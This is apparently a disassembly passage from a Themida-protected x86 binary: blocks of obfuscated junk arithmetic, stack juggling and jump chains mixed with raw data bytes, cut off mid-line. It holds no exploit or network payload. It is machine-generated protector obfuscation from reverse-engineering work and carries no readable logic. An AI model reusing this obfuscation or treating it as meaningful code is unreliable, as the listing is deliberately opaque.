9C3DF704h, 48B5F0Ch, 0F8685624h dd 89000078h, 0B9512424h, 4, 4244C01h, 24348B59h, 8104C483h dd 4C6h, 4C68300h, 8B243487h, 0D8E92424h db 79h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A733F: ; CODE XREF: Themida_:00599CC3j sub ecx, 3AD91FFFh jmp loc_5A7F33 ; --------------------------------------------------------------------------- dw 815Ch dd 4ECh, 24048900h, 405E089h, 68000000h, 2738h, 52243489h dd 4BAh, 89575500h, 0E9FD89D7h, 0FFFF8EABh ; --------------------------------------------------------------------------- loc_5A7374: ; CODE XREF: Themida_:005A2F50j add ebx, 0C102D885h jmp loc_5AD5BD ; --------------------------------------------------------------------------- loc_5A737F: ; CODE XREF: Themida_:loc_5A765Cj shr ecx, 4 js loc_59F145 jmp loc_5AB8D2 ; --------------------------------------------------------------------------- loc_5A738D: ; CODE XREF: Themida_:0059AC6Cj pop esi not esi jmp loc_5A0CF1 ; --------------------------------------------------------------------------- loc_5A7395: ; CODE XREF: Themida_:005ADE66j push ecx mov ecx, 4 add [esp+4], ecx pop ecx jmp loc_59BA10 ; --------------------------------------------------------------------------- loc_5A73A5: ; CODE XREF: Themida_:005A1F0Bj ; Themida_:005A55C7j shr edx, 5 add edx, 328D1F80h push edi jmp loc_5ACF08 ; --------------------------------------------------------------------------- loc_5A73B4: ; CODE XREF: Themida_:005A675Ej sub ecx, eax pop eax jmp loc_5AA671 ; --------------------------------------------------------------------------- dd 0FF2434FFh, 68582434h, 5893h, 0E9243489h, 0FFFF6FE4h dd 0BF243C89h, 5970132Ch, 5602E7C1h, 0A91515BEh, 5EF73162h dd 0CBE5655h, 0BD6F9A22h, 2B193923h, 0CDE9F531h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A73F7: ; CODE XREF: Themida_:0059B652j mov [esp], edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_5A8011 ; --------------------------------------------------------------------------- loc_5A740F: ; CODE XREF: Themida_:005AC3C3j not edx jmp loc_59CEB3 ; --------------------------------------------------------------------------- dw 0EDC1h dd 0F5814D07h, 0A6627A9h, 4BF58145h, 890B9C4Ch, 0C6015DE8h dd 5624048Bh, 0C6815E54h, 4, 0E904C683h, 0FFFF8B05h ; --------------------------------------------------------------------------- loc_5A7440: ; CODE XREF: Themida_:005AA34Dj mov ebx, 249E7F87h mov edi, 5F714A77h xor edi, 12C5439h ja loc_5A3187 not edi jmp loc_5A54AD ; --------------------------------------------------------------------------- db 81h, 0F5h, 0BDh dd 590AB7A0h ; --------------------------------------------------------------------------- loc_5A7464: ; CODE XREF: Themida_:005AA8B7j add eax, 0A2359D2Dh jmp loc_5AA5FB ; --------------------------------------------------------------------------- loc_5A746E: ; CODE XREF: Themida_:loc_59C9A2j shl edi, 2 add edi, 1F0A2591h jno loc_5AB704 sub edi, 107FB628h push eax jmp loc_5A34A0 ; --------------------------------------------------------------------------- loc_5A7489: ; CODE XREF: Themida_:005A1473j add edx, ebp add edx, 1A9E3C29h jmp loc_59EC66 ; --------------------------------------------------------------------------- loc_5A7496: ; CODE XREF: Themida_:005A249Cj xor eax, 7BEA1B95h or ecx, eax pop eax sub esp, 4 mov [esp], edx push 54221799h mov edx, [esp] jmp loc_5ADF95 ; --------------------------------------------------------------------------- loc_5A74B1: ; CODE XREF: Themida_:005A9FE4j mov esi, [esp] jmp loc_5A627D ; --------------------------------------------------------------------------- loc_5A74B9: ; CODE XREF: Themida_:005ADE82j sub ebp, 779BEF74h add ebx, ebp pop ebp push 7238h mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_598BE9 ; --------------------------------------------------------------------------- loc_5A74DA: ; CODE XREF: Themida_:005991D2j push esi jmp loc_5ADB23 ; --------------------------------------------------------------------------- loc_5A74E0: ; CODE XREF: Themida_:005A93F9j jmp loc_5A1A26 ; --------------------------------------------------------------------------- db 2Dh, 2 dup(0FFh) dd 0E8C1FFFFh, 0EDD5E906h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A74F2: ; CODE XREF: Themida_:0059DC8Ej mov ebp, esp add ebp, 4 push ecx mov ecx, 4 sub ebp, ecx pop ecx xchg ebp, [esp] pop esp mov [esp], ecx push ebx jmp loc_5AE85B ; --------------------------------------------------------------------------- loc_5A7510: ; CODE XREF: Themida_:005AA03Bj jnz loc_5ACE09 jmp loc_5AD775 ; --------------------------------------------------------------------------- db 89h dd 51B22414h, 0B47FC280h, 0F2815975h, 687915CDh, 148B5B52h dd 6B35E924h, 0E0C10000h, 22E95202h db 56h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A753F: ; CODE XREF: Themida_:005A2476j push dword ptr [esp] pop ecx add esp, 4 xchg edx, ebx and ebx, 6E0567BEh xor ebx, 7A855D95h jbe loc_5A4AFB add ebx, 66942AC8h jmp loc_5AEA48 ; --------------------------------------------------------------------------- dd 8F6C43BDh, 6E5C14Ch, 0FF4C81E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A7575: ; CODE XREF: Themida_:005A6DD7j mov edi, esp add edi, 4 jmp loc_5AD582 ; --------------------------------------------------------------------------- loc_5A7582: ; CODE XREF: Themida_:0059E3A2j ; Themida_:005A2157j mov edi, 2C74718Fh jmp loc_5AC33E ; --------------------------------------------------------------------------- dd 0B60F6664h, 0A01E902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A7596: ; CODE XREF: Themida_:0059E25Ej add ebp, 4 xchg ebp, [esp] pop esp xor [esp], cl xor cl, [esp] xor [esp], cl jmp loc_59838C ; --------------------------------------------------------------------------- aJH db 'ΎμJ/%h',0 align 4 dd 24048100h, 212928E0h, 0FF454FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A75C1: ; CODE XREF: Themida_:00599FCFj push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esp sub esp, 4 mov [esp], edi jmp loc_5A6177 ; --------------------------------------------------------------------------- loc_5A75E2: ; CODE XREF: Themida_:005AB81Bj pop esp pop dword ptr [esp] mov esp, [esp] push 2B94h mov [esp], ecx push edi push ebp mov ebp, 7E3C2B7Ah jmp loc_5A1CC6 ; --------------------------------------------------------------------------- loc_5A75FD: ; CODE XREF: Themida_:005A7B26j not dword ptr [esp] inc dword ptr [esp] pop ebx xor ebx, 0BA8CED51h jmp loc_5A024F ; --------------------------------------------------------------------------- loc_5A760F: ; CODE XREF: Themida_:0059C119j ; Themida_:005A5016j neg edx add edx, 507F5522h jmp loc_5AB4BF ; --------------------------------------------------------------------------- loc_5A761C: ; CODE XREF: Themida_:005A44C7j add ebp, 4 xchg ebp, [esp] pop esp mov eax, [esp] push ebx jmp loc_5AC9FC ; --------------------------------------------------------------------------- db 89h dd 68572434h, 502C32C8h, 0E25EE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A763E: ; CODE XREF: Themida_:0059D0E7j add ecx, 20933698h shl ecx, 2 jnp loc_59A8D8 xor ecx, 45A2DEE4h mov esi, ecx pop ecx sub ecx, esi pop esi xor ecx, [esp] loc_5A765C: ; CODE XREF: Themida_:loc_5A9C90j jmp loc_5A737F ; --------------------------------------------------------------------------- loc_5A7661: ; CODE XREF: Themida_:005A2F7Cj add dl, 5 mov ch, dl pop edx jmp loc_59AFA2 ; --------------------------------------------------------------------------- aS_7 db '^ι] ',0 align 2 dw 1489h aSEi db '$S³ Ϊ[',0 dd 1A5AE9D0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A7682: ; CODE XREF: Themida_:0059D757j add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx push ecx mov ch, 4 mov dh, 67h jmp loc_5A4D55 ; --------------------------------------------------------------------------- loc_5A769C: ; CODE XREF: Themida_:loc_5A5851j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5A8422 ; --------------------------------------------------------------------------- loc_5A76B4: ; CODE XREF: Themida_:005A848Dj mov ebx, 61FB6D05h jmp loc_5A4064 ; --------------------------------------------------------------------------- loc_5A76BE: ; CODE XREF: Themida_:005A1391j push 4C24h mov [esp], edx push eax pushf jmp loc_5AF0B1 ; --------------------------------------------------------------------------- loc_5A76CD: ; CODE XREF: Themida_:0059A91Cj add edx, 4 xchg edx, [esp] pop esp xchg edi, [esp] mov esp, [esp] mov [esp], cx jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A76E3: ; CODE XREF: Themida_:005AD04Cj add esi, edx add esi, 76D50DABh pop edx jmp loc_5A148B ; --------------------------------------------------------------------------- loc_5A76F1: ; CODE XREF: Themida_:005988A4j sub eax, 4CD9627Ah jmp loc_59C1C7 ; --------------------------------------------------------------------------- loc_5A76FB: ; CODE XREF: Themida_:005A794Cj xchg ecx, [esp] pop esp push bp xchg ax, [esp] not ax xchg ax, [esp] mov bp, [esp] push ecx jmp loc_59FD43 ; --------------------------------------------------------------------------- loc_5A7716: ; CODE XREF: Themida_:005A25F4j pop edi xor edx, 0EC379275h sub ecx, edx pop edx sub ecx, 1321064Bh add ecx, ebp jmp loc_5A8885 ; --------------------------------------------------------------------------- loc_5A772D: ; CODE XREF: Themida_:0059DD7Bj add ebx, eax push 7431h mov [esp], edx mov edx, 2F9F7511h sub ebx, edx pop edx push esi mov esi, 0F4F0D6Dh jmp loc_5A9C00 ; --------------------------------------------------------------------------- loc_5A774A: ; CODE XREF: Themida_:005A83E6j not ebx jmp loc_5AB437 ; --------------------------------------------------------------------------- loc_5A7751: ; CODE XREF: Themida_:005ABD78j and ebx, 7BF40681h jmp loc_5A625C ; --------------------------------------------------------------------------- loc_5A775C: ; CODE XREF: Themida_:005A12E0j sub eax, 278E7559h sub eax, ecx add eax, 278E7559h mov ecx, [esp] push ecx mov ecx, esp jmp loc_5A3F6B ; --------------------------------------------------------------------------- loc_5A7773: ; CODE XREF: Themida_:0059E26Ej add esi, 22C8E3C7h jmp loc_59DA25 ; --------------------------------------------------------------------------- loc_5A777E: ; CODE XREF: Themida_:005A434Bj mov ebx, [esp] add esp, 4 xor bl, al movzx eax, al pop dword ptr [edi+eax*4] jmp loc_59BBCD ; --------------------------------------------------------------------------- loc_5A7794: ; CODE XREF: Themida_:0059CAECj jmp loc_5A9E49 ; --------------------------------------------------------------------------- loc_5A7799: ; CODE XREF: Themida_:005AB97Fj mov edi, [esp] add esp, 4 xor ebp, 1526A184h sub edx, ebp pop ebp sub edx, 728A3FF9h add edx, eax push ecx push edi mov edi, 5A9D2D0Fh sub edi, 63EE48A8h push ecx jmp loc_5A03CB ; --------------------------------------------------------------------------- loc_5A77C3: ; CODE XREF: Themida_:0059A5BEj xor al, ch pop ecx sub esp, 4 mov [esp], edx jmp loc_59CB6F ; --------------------------------------------------------------------------- loc_5A77D1: ; CODE XREF: Themida_:005AE21Bj mov edx, 6D1608B1h inc edx jo loc_59FBF7 sub edx, 44971BE5h jnp loc_5A7AD4 xor edx, 7E5B4Dh jl loc_598EC2 mov dl, cl push esi loc_5A77F8: ; CODE XREF: Themida_:0059DD95j add bl, ch jmp loc_5A6234 ; --------------------------------------------------------------------------- loc_5A77FF: ; CODE XREF: Themida_:0059DF09j sub dword ptr [edi+20h], 5C6011E6h jmp loc_5A4BF8 ; --------------------------------------------------------------------------- db 0Dh dd 91D4568h, 62F9850Fh, 868FFFFh, 89000066h, 8B502434h db 0EBh, 89h, 0D7h ; --------------------------------------------------------------------------- loc_5A7823: ; CODE XREF: Themida_:005A337Fj ; Themida_:005A83AAj mov ah, bl pop ebx pop ecx jmp loc_59ABD5 ; --------------------------------------------------------------------------- loc_5A782C: ; CODE XREF: Themida_:005A60ADj add esp, 4 push esi mov esi, esp add esi, 4 jmp loc_5A3790 ; --------------------------------------------------------------------------- dd 240C8966h, 0C80072B1h, 240C8B66h, 0FF7949E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A7851: ; CODE XREF: Themida_:0059CAD8j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A7856: ; CODE XREF: Themida_:005A6544j mov edx, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_5A2384 ; --------------------------------------------------------------------------- loc_5A7870: ; CODE XREF: Themida_:005983B9j ; Themida_:005ACD0Aj dec ebx jp loc_5AE164 inc ebx jno loc_59E0C7 add ebx, 583F9CBFh jmp loc_5A6A25 ; --------------------------------------------------------------------------- db 21h, 0D9h ; --------------------------------------------------------------------------- loc_5A788B: ; CODE XREF: Themida_:0059A0D5j mov ebp, 30982E63h xor [esp+4], ebp mov ebp, [esp] add esp, 4 mov ecx, [esp] jmp loc_59D180 ; --------------------------------------------------------------------------- loc_5A78A2: ; CODE XREF: Themida_:005A3A51j add ebx, 868D5FF1h mov esi, ebx pop ebx jmp loc_5A148B ; --------------------------------------------------------------------------- loc_5A78B0: ; CODE XREF: Themida_:005A3A2Cj push ebx push edx push 13033889h pop edx sub edx, 39940AB4h jnz loc_5ADD7F shl edx, 5 jnz loc_5A342D mov bl, ah loc_5A78CF: ; CODE XREF: Themida_:005A22DEj xor edx, 8B21CDFFh push ebp jmp loc_5A193A ; --------------------------------------------------------------------------- loc_5A78DB: ; CODE XREF: Themida_:005A22EBj ; Themida_:005A908Fj mov bx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 2 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp xor ch, dl xor dl, ch xor ch, dl xchg al, dl push eax xchg al, [esp] not al xchg al, [esp] mov eax, [esp] add esp, 4 xchg al, dl xchg dl, ch push 238Ch jmp loc_59DB7B ; --------------------------------------------------------------------------- loc_5A7920: ; CODE XREF: Themida_:005AE4E1j jmp loc_5AAFE4 ; --------------------------------------------------------------------------- db 31h, 0D9h, 5Bh dd 393EEE81h, 36E94184h db 37h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A7933: ; CODE XREF: Themida_:005AAA87j xor ch, al mov ax, [esp] add esp, 2 add bh, ch mov ecx, [esp] jmp loc_5AE338 ; --------------------------------------------------------------------------- loc_5A7949: ; CODE XREF: Themida_:00598C09j add ecx, 2 jmp loc_5A76FB ; --------------------------------------------------------------------------- db 68h, 0FBh, 15h dd 34890000h, 1ADDE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A795E: ; CODE XREF: Themida_:0059CC7Cj pop dword ptr [esp] mov esp, [esp] push ecx not dword ptr [esp] mov ecx, [esp] jmp loc_5ACBBE ; --------------------------------------------------------------------------- dd 4080C181h, 0C9813061h, 9912394h, 0FF393EE9h, 8BFD89FFh dd 0C481243Ch, 4, 0FF3F29E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A7991: ; CODE XREF: Themida_:005AB26Bj mov esp, [esp] sub esp, 4 mov [esp], ecx push edx mov edx, 5591E80h mov ecx, edx push dword ptr [esp] pop edx add esp, 4 dec ecx push ebx mov ebx, 50055733h xor ebx, 5D1C2DDAh jmp loc_5988D9 ; --------------------------------------------------------------------------- loc_5A79C1: ; CODE XREF: Themida_:005A6A48j mov ecx, 4762653Eh push eax push ecx push 52A315D8h pop ecx jmp loc_5A39AF ; --------------------------------------------------------------------------- loc_5A79D3: ; CODE XREF: Themida_:005ABDDAj xor ecx, 72E4326Bh sub esi, ecx jmp loc_598868 ; --------------------------------------------------------------------------- loc_5A79E0: ; CODE XREF: Themida_:005AAC5Aj add edi, 78B63B7Ah add edi, esi sub edi, 78B63B7Ah mov esi, [esp] push edx mov edx, esp jmp loc_5988E3 ; --------------------------------------------------------------------------- loc_5A79F9: ; CODE XREF: Themida_:0059F2E0j mov ebp, ebx jmp loc_5A61D4 ; --------------------------------------------------------------------------- dd 13F668h, 36E5E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A7A0A: ; CODE XREF: Themida_:0059DDE7j sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], esp push ebx jmp loc_5AD051 ; --------------------------------------------------------------------------- loc_5A7A23: ; CODE XREF: Themida_:0059CE69j mov eax, 0F1C748Bh add eax, 3A10743Bh shl eax, 8 jmp loc_5A66D5 ; --------------------------------------------------------------------------- loc_5A7A35: ; CODE XREF: Themida_:0059E2B0j mov ah, 70h jmp loc_5A5CE9 ; --------------------------------------------------------------------------- loc_5A7A3C: ; CODE XREF: Themida_:0059E2D5j xchg eax, [esp] jmp loc_598FCD ; --------------------------------------------------------------------------- loc_5A7A44: ; CODE XREF: Themida_:005A93BDj pop ebx push ebx mov ebx, esp jmp loc_5AC3E4 ; --------------------------------------------------------------------------- db 80h, 0CCh, 0E6h dd 0C480CCFEh, 0E9E6305Bh, 0FFFF79B1h, 0FFB3DEE9h, 0EAEB81FFh dd 81140148h, 3970E5F3h, 30840F34h, 81FFFFCFh, 0CE398DEBh dd 76CB8166h, 0F51FE5Ch, 0FFA0908Bh, 88E955FFh db 41h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A7A8B: ; CODE XREF: Themida_:005A088Aj xor edx, [esp] pop esp mov [esp], esi jmp loc_5A2CAA ; --------------------------------------------------------------------------- loc_5A7A97: ; CODE XREF: Themida_:005A2D76j mov ecx, 6156DF1h mov ebx, ecx jmp loc_5A1A26 ; --------------------------------------------------------------------------- loc_5A7AA3: ; CODE XREF: Themida_:005A97F3j push ebx jmp loc_5A676C ; --------------------------------------------------------------------------- loc_5A7AA9: ; CODE XREF: Themida_:005A8BCEj add edx, 35EE7308h push eax mov eax, 0A421F4Fh add edx, eax jmp loc_5A0E1B ; --------------------------------------------------------------------------- loc_5A7ABC: ; CODE XREF: Themida_:005A2E9Aj pop esp push 562Fh jmp loc_5AC7CF ; --------------------------------------------------------------------------- loc_5A7AC7: ; CODE XREF: Themida_:0059E7C9j push edi mov edi, 6B0266A2h inc edi push ecx jmp loc_5A2E77 ; --------------------------------------------------------------------------- loc_5A7AD4: ; CODE XREF: Themida_:005A77E3j xor edx, 7E5B4Dh jl loc_59BF4D jmp loc_59E1BB ; --------------------------------------------------------------------------- loc_5A7AE5: ; CODE XREF: Themida_:0059C967j pop ecx push esi mov esi, 0B63778Ch push edi mov edi, 7597038Bh and esi, edi pop edi sub esi, 0ED50EA2h shl esi, 7 jmp loc_5A1B94 ; --------------------------------------------------------------------------- loc_5A7B03: ; CODE XREF: Themida_:005AA535j add ebx, ecx jmp loc_5AA339 ; --------------------------------------------------------------------------- loc_5A7B0A: ; CODE XREF: Themida_:005A3E1Dj add ebx, ebp pop ebp sub ebx, 0FFFFFFFFh xor ebx, 4D23F53Bh xor esi, ebx jmp loc_5986D6 ; --------------------------------------------------------------------------- loc_5A7B1D: ; CODE XREF: Themida_:0059849Cj add esp, 4 jmp loc_59A602 ; --------------------------------------------------------------------------- loc_5A7B25: ; CODE XREF: Themida_:005A4C98j push ebx jmp loc_5A75FD ; --------------------------------------------------------------------------- db 31h dd 4EC83C3h, 68243C89h, 18DF592Ah, 5F2434FFh, 4C481h, 0B9510000h dd 0E384470h, 0FFFE23E9h, 240C86FFh, 0E9CB8853h, 0FFFFBD7Dh dd 4785CD81h, 800F4969h, 0FFFFA628h, 840FDDF7h, 5891h dd 94E5ED81h, 0EA895EF8h, 0E9242C8Bh, 0FFFFAA92h ; --------------------------------------------------------------------------- loc_5A7B7C: ; CODE XREF: Themida_:0059D95Aj add edx, 1C083D7Ah push edx jmp loc_5A6860 ; --------------------------------------------------------------------------- loc_5A7B88: ; CODE XREF: Themida_:00599810j ; Themida_:0059ED30j pop ebx jmp loc_59D553 ; --------------------------------------------------------------------------- dw 0C89h dd 81E18924h, 4C1h, 8236E900h, 3C89FFFFh, 48526824h, 505F4B8Ch dd 5768FB8h, 2DD8F756h, 858B4808h, 8158C709h, 106C02F7h dd 8BFD012Bh, 0C483243Ch, 81C52904h, 0FF2579EDh, 1EE95844h dd 1FFFF35h, 0F20159CEh, 8124348Bh, 4C4h, 7A6E900h, 0C781FFFFh dd 0E04BC479h, 7C568h, 241C8900h, 0D889FB89h, 83241C8Bh dd 3C8B04C4h, 4C48124h, 1000000h, 367DE9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A7C0E: ; CODE XREF: Themida_:0059CB4Ej pop ebp xor ebp, 7D4103A0h jmp loc_5987CE ; --------------------------------------------------------------------------- loc_5A7C1A: ; CODE XREF: Themida_:0059EFFBj sub al, cl push edx mov dl, 0C0h shl dl, 7 or dl, 0B0h neg dl not dl inc dl add dl, 8Ah add al, dl pop edx pop ecx sub al, bl sub esp, 4 jmp loc_59DF6E ; --------------------------------------------------------------------------- db 0FFh dd 48B2434h, 8322E924h, 0C283FFFFh, 0E80E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A7C52: ; CODE XREF: Themida_:005A8F33j dec ch push 47C3h mov [esp], ebx mov bl, 18h push 0 jmp loc_5AAEE7 ; --------------------------------------------------------------------------- dd 20A968h, 24348900h, 4D5168h, 24248900h, 4BA52h, 54010000h dd 5E5A0424h, 0FF8E0FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A7C89: ; CODE XREF: Themida_:005AF270j pop edx jmp loc_5A1191 ; --------------------------------------------------------------------------- loc_5A7C8F: ; CODE XREF: Themida_:005A8AC2j pop esi push ebx push edi mov edi, 2760B40h jmp loc_5A51E2 ; --------------------------------------------------------------------------- dd 8958C389h, 241C8BDEh, 4C481h, 0BF570000h, 34C07FA1h dd 515FFE31h, 386CD7B9h, 0A6B9E941h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A7CBE: ; CODE XREF: Themida_:0059E936j add esp, 2 jmp loc_5A3A14 ; --------------------------------------------------------------------------- dw 7DBEh dd 0E951F930h, 0FFFF49F9h ; --------------------------------------------------------------------------- loc_5A7CD0: ; CODE XREF: Themida_:0059B064j mov ecx, [esp] add esp, 4 jmp loc_5A4E6E ; --------------------------------------------------------------------------- db 0BBh dd 33017BC8h, 0FF0C9EE9h, 0E1C15EFFh, 0D353E908h, 800FFFFFh dd 1A08h, 0FFA2DFE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A7CF9: ; CODE XREF: Themida_:005A5A25j pop edx add esp, 4 sub ebx, ebp mov ebp, [esp] jmp loc_5A6104 ; --------------------------------------------------------------------------- loc_5A7D0A: ; CODE XREF: Themida_:005A4D85j pop ebp jmp loc_5A6B4D ; --------------------------------------------------------------------------- loc_5A7D10: ; CODE XREF: Themida_:005AEA93j jmp loc_5A966D ; --------------------------------------------------------------------------- loc_5A7D15: ; CODE XREF: Themida_:0059C9CEj jns loc_598FA3 add edx, 481625D6h xor eax, edx push dword ptr [esp] pop edx push esi add ebp, edx push ebx mov ebx, 20760BFDh sub ebp, ebx pop ebx jmp loc_59EC32 ; --------------------------------------------------------------------------- loc_5A7D38: ; CODE XREF: Themida_:005A871Cj jmp loc_5A9D7F ; --------------------------------------------------------------------------- loc_5A7D3D: ; CODE XREF: Themida_:005A1828j push esp pop ebx push ecx mov ecx, 4 jmp loc_5A8056 ; --------------------------------------------------------------------------- loc_5A7D4A: ; CODE XREF: Themida_:005A4C73j add ebx, edx push 8D6h jmp loc_59AC09 ; --------------------------------------------------------------------------- loc_5A7D56: ; CODE XREF: Themida_:0059AA69j ; Themida_:005A4227j push edi mov edi, esp jmp loc_5ABF07 ; --------------------------------------------------------------------------- loc_5A7D5E: ; CODE XREF: Themida_:loc_5AD73Cj inc bh jmp loc_5A5851 ; --------------------------------------------------------------------------- loc_5A7D65: ; CODE XREF: Themida_:005A336Aj push esi jmp loc_59B7FB ; --------------------------------------------------------------------------- loc_5A7D6B: ; CODE XREF: Themida_:0059FA2Fj ; Themida_:005A2F5Cj inc bl push edx jmp loc_59CBE4 ; --------------------------------------------------------------------------- loc_5A7D73: ; CODE XREF: Themida_:005A288Dj xor esi, 3FDB78F1h jmp loc_5991D7 ; --------------------------------------------------------------------------- dw 0C483h dd 0F075E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A7D86: ; CODE XREF: Themida_:005A54A8j ; Themida_:005A63C8j push esi push eax mov eax, 7610C38h sub eax, 6DB04AEAh neg eax shl eax, 2 or eax, 4317A0Eh push ecx jmp loc_5AA5AE ; --------------------------------------------------------------------------- loc_5A7DA2: ; CODE XREF: Themida_:00599011j mov [esp], ecx jmp loc_59FBD6 ; --------------------------------------------------------------------------- dw 0DDE9h db 5, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A7DAF: ; CODE XREF: Themida_:0059987Fj sub esi, ecx pop ecx push ebp push esi pop ebp mov eax, ebp pop ebp mov esi, [esp] add esp, 4 inc eax push edi jmp loc_5AAAD1 ; --------------------------------------------------------------------------- dd 240C8B66h, 1BDC6853h, 8F540000h, 4832404h, 1C8B0424h dd 4C48324h, 4C381h, 15E90000h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A7DEB: ; CODE XREF: Themida_:005AB76Dj pop ebx add eax, 7F9C4AC4h push dword ptr [esp] jmp loc_5A6202 ; --------------------------------------------------------------------------- loc_5A7DF9: ; CODE XREF: Themida_:loc_598CC4j sub ecx, 0E743D3C1h mov edi, ecx pop ecx sub ebp, edi mov edi, [esp] jmp loc_5A0815 ; --------------------------------------------------------------------------- dd 5BD5E381h, 890F7ACAh, 6DC9h, 0FF2764E9h, 247C29FFh dd 0F75B5F0Ch, 5CEF81D7h, 0F77CEEE0h, 4E7C1DFh, 0FF7212E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A7E35: ; CODE XREF: Themida_:005A405Fj add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp pop eax jmp loc_5A8D42 ; --------------------------------------------------------------------------- dd 2DF3815Bh, 58651B09h, 500ACB81h, 0EBC1768Fh, 14F75305h dd 0EB815B24h, 0FC490404h, 575BD901h, 4BFh, 52E98100h dd 295E502Fh, 52C181F9h, 0E95E502Fh, 0FFFF592Fh ; --------------------------------------------------------------------------- loc_5A7E80: ; CODE XREF: Themida_:005AC537j push ebx mov bh, 31h push 0 sub [esp], bh mov bh, [esp] add esp, 4 xor bh, 4Fh push edx mov dh, 47h xor bh, dh pop edx or ah, bh pop ebx sub ah, 26h xor dh, ah pop eax mov ch, dh mov edx, [esp] push esi mov esi, esp add esi, 4 jmp loc_5A8E0B ; --------------------------------------------------------------------------- loc_5A7EB6: ; CODE XREF: Themida_:005AED83j neg bh dec bh xor bh, 0D7h jle loc_5AC674 jmp loc_5AE128 ; --------------------------------------------------------------------------- dd 0E9519AB7h, 0FFFF7A81h ; --------------------------------------------------------------------------- loc_5A7ED0: ; CODE XREF: Themida_:005A5927j push ebx mov ebx, 71D64EFDh not ebx push eax push ecx jmp loc_5AB0E5 ; --------------------------------------------------------------------------- loc_5A7EDF: ; CODE XREF: Themida_:005ABC19j pop eax xor esi, ebp jmp loc_5A1887 ; --------------------------------------------------------------------------- loc_5A7EE7: ; CODE XREF: Themida_:005A073Fj mov [esp], ebx push 524B5129h jmp loc_5ACC0D ; --------------------------------------------------------------------------- loc_5A7EF4: ; CODE XREF: Themida_:0059E7AEj add edx, esi add edx, 275A3024h mov esi, [esp] jmp loc_5A4481 ; --------------------------------------------------------------------------- dd 4E273BB9h, 0B66DE91Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A7F0E: ; CODE XREF: Themida_:005A3686j jmp loc_5A8B34 ; --------------------------------------------------------------------------- loc_5A7F13: ; CODE XREF: Themida_:0059DB58j sub eax, 78C43B9Bh add eax, ebp add eax, 78C43B9Bh add eax, 14FB6FCDh push esi push eax mov eax, 6AF76405h mov esi, eax pop eax jmp loc_5A084D ; --------------------------------------------------------------------------- loc_5A7F33: ; CODE XREF: Themida_:005A7345j add ecx, 2E4B3D33h add ecx, ebx sub ecx, 2E4B3D33h add ecx, 3AD91FFFh pop ebx add ecx, 4 push 4A26h mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_5A4A90 ; --------------------------------------------------------------------------- loc_5A7F68: ; CODE XREF: Themida_:005A95B8j add ecx, ebx pop ebx push ebx mov ebx, 9D57162h jmp loc_59C9F7 ; --------------------------------------------------------------------------- loc_5A7F76: ; CODE XREF: Themida_:005AF083j sub esp, 4 jmp loc_5A308D ; --------------------------------------------------------------------------- loc_5A7F81: ; CODE XREF: Themida_:0059EEABj mov eax, 0A002C24h sub edx, eax pop eax add ebx, edx pop edx add ebx, 4 xor ebx, [esp] jmp loc_59E840 ; --------------------------------------------------------------------------- aUtHf_ db 'UT]hf_',0 dw 8900h dd 0E789243Ch, 4C781h, 0EF830000h, 243C8704h, 0FF7001E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A7FB5: ; CODE XREF: Themida_:005AF4BBj mov [esp], esi mov esi, 4 add ebp, esi jmp loc_5ABB01 ; --------------------------------------------------------------------------- loc_5A7FC4: ; CODE XREF: Themida_:005988E4j mov ecx, 4 add edx, ecx pop ecx jmp loc_59B44B ; --------------------------------------------------------------------------- loc_5A7FD1: ; CODE XREF: Themida_:005A1EAFj or eax, 1B6B7971h add eax, 29A2E7Fh jmp loc_59CA9D ; --------------------------------------------------------------------------- loc_5A7FE0: ; CODE XREF: Themida_:005A5CF2j xor ah, ch pop ecx jmp loc_5A1D2E ; --------------------------------------------------------------------------- loc_5A7FE8: ; CODE XREF: Themida_:005AC5CDj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_5ABA95 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 18DFE9h, 59CB3100h, 0FF454EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A8009: ; CODE XREF: Themida_:0059F81Fj sub ebx, eax pop eax jmp loc_599F74 ; --------------------------------------------------------------------------- loc_5A8011: ; CODE XREF: 